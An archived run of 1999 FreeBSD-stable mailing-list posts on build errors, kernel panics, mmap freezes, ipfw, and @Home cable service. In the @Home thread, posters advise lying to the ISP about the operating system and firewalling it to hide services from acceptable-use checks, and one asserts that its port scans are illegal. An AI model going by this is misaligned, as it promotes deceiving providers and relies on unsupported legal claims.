3.3-STABLE buildworld (fwd) To: freebsd-stable@freebsd.org Date: Mon, 4 Oct 1999 11:21:59 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm having a problem buildworlding off the most recent 3.3-stable update. On several machines, I'm getting this error and the buildworld dies: rm -f .depend /usr/obj/usr/src/secure/lib/libcrypt/GPATH /usr/obj/usr/src/secure/lib/libcrypt/GRTAGS /usr/obj/usr/src/secure/lib/libcrypt/GSYMS /usr/obj/usr/src/secure/lib/libcrypt/GTAGS cc -O -pipe -I/usr/src/secure/lib/libcrypt/../../../lib/libmd -I/usr/src/secure/lib/libcrypt/../../../lib/libcrypt -DNONEXPORTABLE_CRYPT -DLIBC_SCCS -Wall -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c -o crypt.o /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c: In function `crypt': /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c:62: warning: unused variable `j' /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c: At top level: /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c:14: warning: `rcsid' defined but not used make: don't know how to make crypt-md5.c. Stop -- Robert Blayzor robert@superior.net Telecon Communications MIS/Programmer/Admin Network Engineer 131 Enterprise Rd. Superior Net Services 518-762-3456 Johnstown, NY 12095 "FreeBSD! Putting the 'Operating' back into OS!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 9:12:23 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 8CB6315169 for ; Mon, 4 Oct 1999 09:12:18 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id JAA35777; Mon, 4 Oct 1999 09:12:00 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199910041612.JAA35777@gndrsh.dnsmgr.net> Subject: Re: @Home Connect. In-Reply-To: from "Milliken, Scott" at "Oct 4, 1999 09:04:53 am" To: SMilliken@sti.imshealth.com (Milliken, Scott) Date: Mon, 4 Oct 1999 09:11:59 -0700 (PDT) Cc: zapper@idsmail.com ('High Voltage'), stable@FreeBSD.ORG ('stable@freebsd.org') X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [Charset iso-8859-1 unsupported, filtering to ASCII...] > One extremely important note about @Home service... make sure that you > disable all of your services in inetd before ever calling them up to report > outages or for any other tech support issue. The first time that I placed a > call to them they port scanned me, asked why I was running apache and telnet > and then informed me that I was in violation of the Acceptable Usage Policy. > Also, if you call to report an outage and you list your OS as anything other > than Windows 95 or Windows 98 they simply will not try to diagnose the > problem from their end. You can have a Christmas tree of blinking lights on > your cable modem (in Atlanta they use the Cisco uBR900) yet without the > magical Win9X operating system they'll tell you that it must be a problem at > your end. Next time they ``port scan'' you, you may wish to inform them that they are in violation of 47 USC 151 et seq (The Communications Act) and 18 USC 2510 et seq (Electronic Communications Privacy Act). > Good Luck, > Scott Milliken > > -----Original Message----- > From: High Voltage [mailto:zapper@idsmail.com] > Sent: Sunday, October 03, 1999 5:44 PM > To: FreeBSD-Stable > Subject: @Home Connect. > > > Hi > > Does anyone know where I can find info on how to set FreeBSD 3.3 > Stable up for a @Home connect? I'm getting @Home installed this Friday > and I'd like to be prepared. > > Thanx > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 9:17:35 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 3055315169 for ; Mon, 4 Oct 1999 09:17:28 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id JAA35790; Mon, 4 Oct 1999 09:17:16 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199910041617.JAA35790@gndrsh.dnsmgr.net> Subject: Re: @Home Connect. In-Reply-To: from "Milliken, Scott" at "Oct 4, 1999 09:50:31 am" To: SMilliken@sti.imshealth.com (Milliken, Scott) Date: Mon, 4 Oct 1999 09:17:16 -0700 (PDT) Cc: eakeyson@mail1.nai.net ('eakeyson'), stable@FreeBSD.ORG ('stable@freebsd.org') X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [Charset iso-8859-1 unsupported, filtering to ASCII...] > Ed, > You can either not complain when the service goes out (which it does > quite a bit in Atlanta, but I have no other high speed alternative) or you > can lie and tell them that you are running Windows 95. As far as the > services go, I only run ssh at home since that will allow me to log in to > the box and to use scp for transferring files. The "gotcha" in the AUP is > that they leave a clause at the bottom stating that they can change it at > any time without notification. I was told that I could stop the > web/telnet/ftp services or they could take back their cable modem. In other > words, their tech support department seems to favor hiring cocky jerks. But they have no idea that you might be using these web/telnet/ftp services for your own internal ``home'' network. Just becuase a port scan, done in violation of several federal laws no less (see other email from me for specific statutes, turns up these services it does not prove you have violated the AUP. Furthermore, unless @Home has registered as a CLEC/IXC or some other form of telecommunications provider they are in violation of many more federal and state laws. This is currently being reviewed by the FCC, and expect some more laws specifically to cover these folks, but the second a cable company starts piping bi-directional data sold to a consumer they are technically a ``carrier'' and required authority to operate as one. Most of them do not have this status and could be in deep water very soon... a call to you local PUC about the above mentioned even may get your local PUC off it's duff... > Scott > > -----Original Message----- > From: eakeyson [mailto:eakeyson@mail1.nai.net] > Sent: Monday, October 04, 1999 9:45 AM > To: Milliken, Scott > Subject: RE: @Home Connect. > > > So, what are you suggesting? Not calling them at all, or calling them and > telling them that you are using a non-standard OS with non-approved services > running and they will leave you alone... > > Either way seems like you will get very little help. I am asking because I > am considering hooking up cable modem to my FBSD 3.3-Stable box as a gateway > for my system and I would like to run some low-volume FTP and HTTP servers > and possibly telnet/ssh. > > What did they do after they told you that you were in violation of the AUP? > Spank you and your modem? Sorry for the extra bandwidth.... > > Ed Akeyson > Guilford, CT > > > -----Original Message----- > > From: owner-freebsd-stable@FreeBSD.ORG > > [mailto:owner-freebsd-stable@FreeBSD.ORG]On Behalf Of Milliken, Scott > > Sent: Monday, October 04, 1999 9:05 AM > > To: 'High Voltage' > > Cc: 'stable@freebsd.org' > > Subject: RE: @Home Connect. > > > > > > One extremely important note about @Home service... make sure that you > > disable all of your services in inetd before ever calling them up > > to report > > outages or for any other tech support issue. The first time that > > I placed a > > call to them they port scanned me, asked why I was running apache > > and telnet > > and then informed me that I was in violation of the Acceptable > > Usage Policy. > > Also, if you call to report an outage and you list your OS as > > anything other > > than Windows 95 or Windows 98 they simply will not try to diagnose the > > problem from their end. You can have a Christmas tree of > > blinking lights on > > your cable modem (in Atlanta they use the Cisco uBR900) yet without the > > magical Win9X operating system they'll tell you that it must be a > > problem at > > your end. > > > > Good Luck, > > Scott Milliken > > > > -----Original Message----- > > From: High Voltage [mailto:zapper@idsmail.com] > > Sent: Sunday, October 03, 1999 5:44 PM > > To: FreeBSD-Stable > > Subject: @Home Connect. > > > > > > Hi > > > > Does anyone know where I can find info on how to set FreeBSD 3.3 > > Stable up for a @Home connect? I'm getting @Home installed this Friday > > and I'd like to be prepared. > > > > Thanx > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-stable" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-stable" in the body of the message > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 9:35:54 1999 Delivered-To: freebsd-stable@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id A0E571524A for ; Mon, 4 Oct 1999 09:34:19 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id TAA47039; Mon, 4 Oct 1999 19:31:15 +0300 (EEST) (envelope-from ru) Date: Mon, 4 Oct 1999 19:31:15 +0300 From: Ruslan Ermilov To: Robert Blayzor Cc: freebsd-stable@FreeBSD.ORG Subject: Re: 3.3-STABLE buildworld (fwd) Message-ID: <19991004193115.D37582@relay.ucb.crimea.ua> Mail-Followup-To: Robert Blayzor , freebsd-stable@FreeBSD.ORG References: <199910041521.LAA16382@nimbus.superior.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: <199910041521.LAA16382@nimbus.superior.net>; from Robert Blayzor on Mon, Oct 04, 1999 at 11:21:59AM -0400 X-Operating-System: FreeBSD 3.3-STABLE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Oct 04, 1999 at 11:21:59AM -0400, Robert Blayzor wrote: > I'm having a problem buildworlding off the most recent 3.3-stable update. > On several machines, I'm getting this error and the buildworld dies: > > rm -f .depend /usr/obj/usr/src/secure/lib/libcrypt/GPATH /usr/obj/usr/src/secure/lib/libcrypt/GRTAGS /usr/obj/usr/src/secure/lib/libcrypt/GSYMS /usr/obj/usr/src/secure/lib/libcrypt/GTAGS > cc -O -pipe -I/usr/src/secure/lib/libcrypt/../../../lib/libmd -I/usr/src/secure/lib/libcrypt/../../../lib/libcrypt -DNONEXPORTABLE_CRYPT -DLIBC_SCCS -Wall -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c -o crypt.o > /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c: In function `crypt': > /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c:62: warning: unused variable `j' > /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c: At top level: > /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c:14: warning: `rcsid' defined but not used > make: don't know how to make crypt-md5.c. Stop > You somehow populated your source tree with 4.0-CURRENT sources. How did you upgrade your sources? -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 10: 9:57 1999 Delivered-To: freebsd-stable@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [194.102.224.1]) by hub.freebsd.org (Postfix) with ESMTP id D075415474; Mon, 4 Oct 1999 10:09:44 -0700 (PDT) (envelope-from ady@warpnet.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id UAA02090; Mon, 4 Oct 1999 20:08:41 +0300 (EEST) (envelope-from ady@warpnet.ro) Date: Mon, 4 Oct 1999 20:08:41 +0300 (EEST) From: Adrian Penisoara To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... In-Reply-To: <199906140715.AAA06844@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, On Mon, 14 Jun 1999, Matthew Dillon wrote: > > :> > :> David, can you email this program to me please? > :> > :> Also, which FreeBSD release does this occur on? > :> > :> I've got about 6 mmap-related bugs on my plate at the moment. 3 of them > :> have been identified ( that is, I know why they deadlock the machine ), > :> but none have been fixed yet. > : > :Matt, I'll volunteer myself as a tester for this code under 3.2-STABLE, > :when you have it ready... > : > :Marc G. Fournier ICQ#7615664 IRC Nick: Scrappy > :Systems Administrator @ hub.org > :primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org > > I'll let the lists know when patches are available. It may be a while > (like a week), I still have a lot of catching-up to do after being at > USENIX all last week and my commit privs still need to be resolved. > Excuse my intrusion, but could you be so kind to tell me whether you had the time to build patches for these MMAP-related freezes ? If not could you recommend me some workarounds ? I have a -stable production server that keeps (solidly) blocking pretty often (I don't get over 3 days uptimes). If you need details just let me know. > -Matt > Matthew Dillon > > Thanks, Ady (@warpnet.ro) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 10:23:11 1999 Delivered-To: freebsd-stable@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id B1838154CB for ; Mon, 4 Oct 1999 10:21:40 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id UAA56407; Mon, 4 Oct 1999 20:18:32 +0300 (EEST) (envelope-from ru) Date: Mon, 4 Oct 1999 20:18:32 +0300 From: Ruslan Ermilov To: Robert Blayzor Cc: stable@FreeBSD.org Subject: Re: 3.3-STABLE buildworld (fwd) Message-ID: <19991004201832.B54739@relay.ucb.crimea.ua> Mail-Followup-To: Robert Blayzor , stable@FreeBSD.org References: <19991004193115.D37582@relay.ucb.crimea.ua> <199910041705.NAA10467@nimbus.superior.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: <199910041705.NAA10467@nimbus.superior.net>; from Robert Blayzor on Mon, Oct 04, 1999 at 01:05:08PM -0400 X-Operating-System: FreeBSD 3.3-STABLE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Robert, You should use "stable-supfile" and "secure-stable-supfile". "secure-supfile" will upgrade part of your sources to 4.0-CURRENT. Please read /usr/share/examples/cvsup/README. On Mon, Oct 04, 1999 at 01:05:08PM -0400, Robert Blayzor wrote: > Ahh, that couldbe it. I'm using cvsup w/ the examples in FreeBSD3.3 > > I know I'm syncing to the 3.3-stable tree ok, but maybe I did something > wrong with the crypt stuff... here is teh example? Do you know what it > should be? > > From: /usr/share/examples/cvsup/secure-supfile > > > Defaults that apply to all the collections > *default host=cvsup.internat.FreeBSD.org > *default base=/usr > *default prefix=/usr > *default release=cvs tag=. > *default delete use-rel-suffix > > # If your network link is a T1 or faster, comment out the following line. > *default compress > > ## The international secure collections. > cvs-crypto > # > # These are the individual collections that make up "cvs-crypto". If > # you use these, be sure to comment out "cvs-crypto" above. > #src-crypto > #src-secure > #src-sys-crypto > > > > > > > On Mon, Oct 04, 1999 at 11:21:59AM -0400, Robert Blayzor wrote: > > > I'm having a problem buildworlding off the most recent 3.3-stable update. > > > On several machines, I'm getting this error and the buildworld dies: > > > > > > rm -f .depend /usr/obj/usr/src/secure/lib/libcrypt/GPATH /usr/obj/usr/src/secure/lib/libcrypt/GRTAGS /usr/obj/usr/src/secure/lib/libcrypt/GSYMS /usr/obj/usr/src/secure/lib/libcrypt/GTAGS > > > cc -O -pipe -I/usr/src/secure/lib/libcrypt/../../../lib/libmd -I/usr/src/secure/lib/libcrypt/../../../lib/libcrypt -DNONEXPORTABLE_CRYPT -DLIBC_SCCS -Wall -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c -o crypt.o > > > /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c: In function `crypt': > > > /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c:62: warning: unused variable `j' > > > /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c: At top level: > > > /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c:14: warning: `rcsid' defined but not used > > > make: don't know how to make crypt-md5.c. Stop > > > > > You somehow populated your source tree with 4.0-CURRENT sources. > > How did you upgrade your sources? > > > > -- > > Ruslan Ermilov Sysadmin and DBA of the > > ru@ucb.crimea.ua United Commercial Bank, > > ru@FreeBSD.org FreeBSD committer, > > +380.652.247.647 Simferopol, Ukraine > > > > http://www.FreeBSD.org The Power To Serve > > http://www.oracle.com Enabling The Information Age > > > > > -- > Robert Blayzor robert@superior.net Telecon Communications > MIS/Programmer/Admin Network Engineer 131 Enterprise Rd. > Superior Net Services 518-762-3456 Johnstown, NY 12095 > "FreeBSD! Putting the 'Operating' back into OS!" > -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 11:21: 5 1999 Delivered-To: freebsd-stable@freebsd.org Received: from thelab.hub.org (nat194.229.mpoweredpc.net [142.177.194.229]) by hub.freebsd.org (Postfix) with ESMTP id 474B215184; Mon, 4 Oct 1999 11:21:00 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.9.3/8.9.1) with ESMTP id PAA25985; Mon, 4 Oct 1999 15:19:53 -0300 (ADT) (envelope-from scrappy@hub.org) X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Mon, 4 Oct 1999 15:19:53 -0300 (ADT) From: The Hermit Hacker To: Adrian Penisoara Cc: Matthew Dillon , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 4 Oct 1999, Adrian Penisoara wrote: > > Excuse my intrusion, but could you be so kind to tell me whether you had > the time to build patches for these MMAP-related freezes ? If not could > you recommend me some workarounds ? doubling the ram from 384 -> 768 meg appears to have fixed it for mme... Marc G. Fournier ICQ#7615664 IRC Nick: Scrappy Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 11:37: 0 1999 Delivered-To: freebsd-stable@freebsd.org Received: from trooper.velocet.net (trooper.velocet.net [216.126.82.226]) by hub.freebsd.org (Postfix) with ESMTP id 1A89414C58 for ; Mon, 4 Oct 1999 11:36:50 -0700 (PDT) (envelope-from dgilbert@trooper.velocet.net) Received: (from dgilbert@localhost) by trooper.velocet.net (8.9.3/8.9.3) id OAA78855; Mon, 4 Oct 1999 14:36:46 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14328.62398.116239.644064@trooper.velocet.net> Date: Mon, 4 Oct 1999 14:36:46 -0400 (EDT) To: freebsd-stable@freebsd.org Subject: Many similar crashes... X-Mailer: VM 6.71 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On one busy webserver that I recently upgraded, I'm getting many similar crashes, some only minutes apart. They all tend to be 'page falut in kernel mode' or some other vm-related thing. Here is an example: (kgdb) bt #0 boot (howto=256) at ../../kern/kern_shutdown.c:285 #1 0xc014c469 in panic (fmt=0xc01febee "page fault") at ../../kern/kern_shutdown.c:446 #2 0xc01d6cd2 in trap_fatal (frame=0xca1aaeac, eva=0) at ../../i386/i386/trap.c:942 #3 0xc01d698b in trap_pfault (frame=0xca1aaeac, usermode=0, eva=0) at ../../i386/i386/trap.c:835 #4 0xc01d65be in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = -1053208397, tf_esi = -1053475776, tf_ebp = -904220952, tf_isp = -904220972, tf_ebx = -1053475776, tf_edx = -1053475840, tf_ecx = -905398784, tf_eax = 0, tf_trapno = 12, tf_err = 2, tf_eip = -1072385498, tf_cs = 8, tf_eflags = 66118, tf_esp = -904220936, tf_ss = -1072411161}) at ../../i386/i386/trap.c:437 #5 0xc014b226 in crfree (cr=0x0) at ../../kern/kern_prot.c:802 #6 0xc0144de7 in ffree (fp=0xc1353c40) at ../../kern/kern_descrip.c:847 #7 0xc01451dc in closef (fp=0xc1353c40, p=0xca08b600) at ../../kern/kern_descrip.c:1068 #8 0xc014481d in close (p=0xca08b600, uap=0xca1aaf94) at ../../kern/kern_descrip.c:504 #9 0xc01d6f1b in syscall (frame={tf_es = 39, tf_ds = 39, tf_edi = -1077944880, tf_esi = 3, tf_ebp = -1077945068, tf_isp = -904220700, tf_ebx = 134929348, tf_edx = 222477596, tf_ecx = 3251, tf_eax = 6, tf_trapno = 12, tf_err = 2, tf_eip = 672921360, tf_cs = 31, tf_eflags = 514, tf_esp = -1077945076, tf_ss = 39}) at ../../i386/i386/trap.c:1100 #10 0xc01cc49c in Xint0x80_syscall () #11 0x80adb06 in ?? () #12 0x80ac33c in ?? () #13 0x80bbc73 in ?? () #14 0x80bc5ff in ?? () #15 0x806539d in ?? () To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 11:47: 0 1999 Delivered-To: freebsd-stable@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 67CFB154BF; Mon, 4 Oct 1999 11:46:50 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 544771CD473; Mon, 4 Oct 1999 11:46:50 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Mon, 4 Oct 1999 11:46:50 -0700 (PDT) From: Kris Kennaway To: "Milliken, Scott" Cc: 'High Voltage' , "'stable@freebsd.org'" Subject: RE: @Home Connect. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 4 Oct 1999, Milliken, Scott wrote: > One extremely important note about @Home service... make sure that you > disable all of your services in inetd before ever calling them up to report > outages or for any other tech support issue. The first time that I placed a Sounds like you should build an ipfw firewall which disallows connections from the @home network. That way unless they portscan from an external host, they'll never know.. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 11:51:46 1999 Delivered-To: freebsd-stable@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id A4E1D1550D; Mon, 4 Oct 1999 11:50:39 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 9A3CB1CD473; Mon, 4 Oct 1999 11:50:39 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Mon, 4 Oct 1999 11:50:39 -0700 (PDT) From: Kris Kennaway To: Martin McFlySr Cc: freebsd-stable@FreeBSD.ORG Subject: Re: how can i ...? what with ipfw? In-Reply-To: <13641.991004@McFlySr.Kurgan.Ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 4 Oct 1999, Martin McFlySr wrote: > Hello freebsd-stable@FreeBSD.ORG, > > 1. How can i see what namely was changed in files after CVSup is done? > I can seen at log CVSup, but can see only what files was changed: Subscribe to the cvs-all mailing list for a description of the changes are they take place (you could set up procmail to filter out non-stable commits - see the archives for how to do this). Alternatively, use the cvsweb interface to the CVS archives on www.freebsd.org. > 2. What happying with ipfw? > after change rc.firewall, sh rc.firewall, on console i see: > > dn_rule_delete, r 0xc09e6e30, default 0xc09e6eb0, 0 matches > dn_rule_delete, r 0xc09e6e20, default 0xc09e6eb0, 0 matches > dn_rule_delete, r 0xc09e6e10, default 0xc09e6eb0, 0 matches > dn_rule_delete, r 0xc09e6e00, default 0xc09e6eb0, 0 matches This sounds like broken binary compatability - are your kernel and ipfw binary in sync (i.e. have you built a new kernel and done a make world with sources of the same date)? ISTR that binary compatability was broken (and documented as such) between 3.2 and 3.3 or so, you should check the release notes and UPDATING file each time you update to catch these. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 11:52:38 1999 Delivered-To: freebsd-stable@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id E653C154E2; Mon, 4 Oct 1999 11:52:30 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id D804B1CD473; Mon, 4 Oct 1999 11:52:30 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Mon, 4 Oct 1999 11:52:30 -0700 (PDT) From: Kris Kennaway To: "Mr. K." Cc: stable@freebsd.org Subject: Re: kernel panic In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 1 Oct 1999, Mr. K. wrote: > FreeBSD my.computer.com 3.2-RELEASE FreeBSD 3.2-RELEASE #0: Tue May 18 > 04:05:08 GMT 1999 jkh@cathair:/usr/src/sys/compile/GENERIC i386 > > I just got a kernel panic while telnetted into my machine. I didn't have > the console plugged in, and i missed the panic message. Is there anywhere > I can get the message? (I tried dmesg, but that didn't have it). Unless you have your machine configured to dump state on panic, no. See the handbook for how to set it up - it's a useful (almost essential) diagnostic aid. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 11:55:57 1999 Delivered-To: freebsd-stable@freebsd.org Received: from trooper.velocet.net (trooper.velocet.net [216.126.82.226]) by hub.freebsd.org (Postfix) with ESMTP id 4F32E1551E for ; Mon, 4 Oct 1999 11:54:34 -0700 (PDT) (envelope-from dgilbert@trooper.velocet.net) Received: (from dgilbert@localhost) by trooper.velocet.net (8.9.3/8.9.3) id OAA79395; Mon, 4 Oct 1999 14:54:31 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14328.63463.514699.737513@trooper.velocet.net> Date: Mon, 4 Oct 1999 14:54:31 -0400 (EDT) To: freebsd-stable@freebsd.org Subject: Multiple crashes. X-Mailer: VM 6.71 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The crashes alternate between the previous message's backtrace and this one. panic: rlist_free: free start overlaps already freed area (kgdb) bt #0 boot (howto=256) at ../../kern/kern_shutdown.c:285 #1 0xc014c469 in panic ( fmt=0xc01f0a34 "rlist_free: free start overlaps already freed area") at ../../kern/kern_shutdown.c:446 #2 0xc0155f36 in rlist_free (rlh=0xc0243338, start=0, end=7) at ../../kern/subr_rlist.c:159 #3 0xc01aecc7 in swap_pager_freeswapspace (object=0xca0e9b24, from=0, to=7) at ../../vm/swap_pager.c:422 #4 0xc01aeda8 in swap_pager_freespace (object=0xca0e9b24, start=48, size=20500) at ../../vm/swap_pager.c:445 #5 0xc01b4209 in vm_map_delete (map=0xca2edd80, start=134868992, end=218836992) at ../../vm/vm_map.c:1833 #6 0xc01b42ac in vm_map_remove (map=0xca2edd80, start=134868992, end=218836992) at ../../vm/vm_map.c:1874 #7 0xc01bc14b in obreak (p=0xca2a89a0, uap=0xca400f94) at ../../vm/vm_unix.c:107 #8 0xc01d6f1b in syscall (frame={tf_es = 39, tf_ds = 39, tf_edi = 134868992, tf_esi = 134549792, tf_ebp = -1077946648, tf_isp = -901771292, tf_ebx = 671987304, tf_edx = 671987284, tf_ecx = 671987280, tf_eax = 17, tf_trapno = 0, tf_err = 2, tf_eip = 671951256, tf_cs = 31, tf_eflags = 647, tf_esp = -1077946684, tf_ss = 39}) at ../../i386/i386/trap.c:1100 #9 0xc01cc49c in Xint0x80_syscall () #10 0x280d2402 in ?? () #11 0x804c1a8 in ?? () #12 0x804b087 in ?? () #13 0x804a6c1 in ?? () #14 0x80490f5 in ?? () To Unsubscribe: send mail to majordomo@FreeBSD.org with 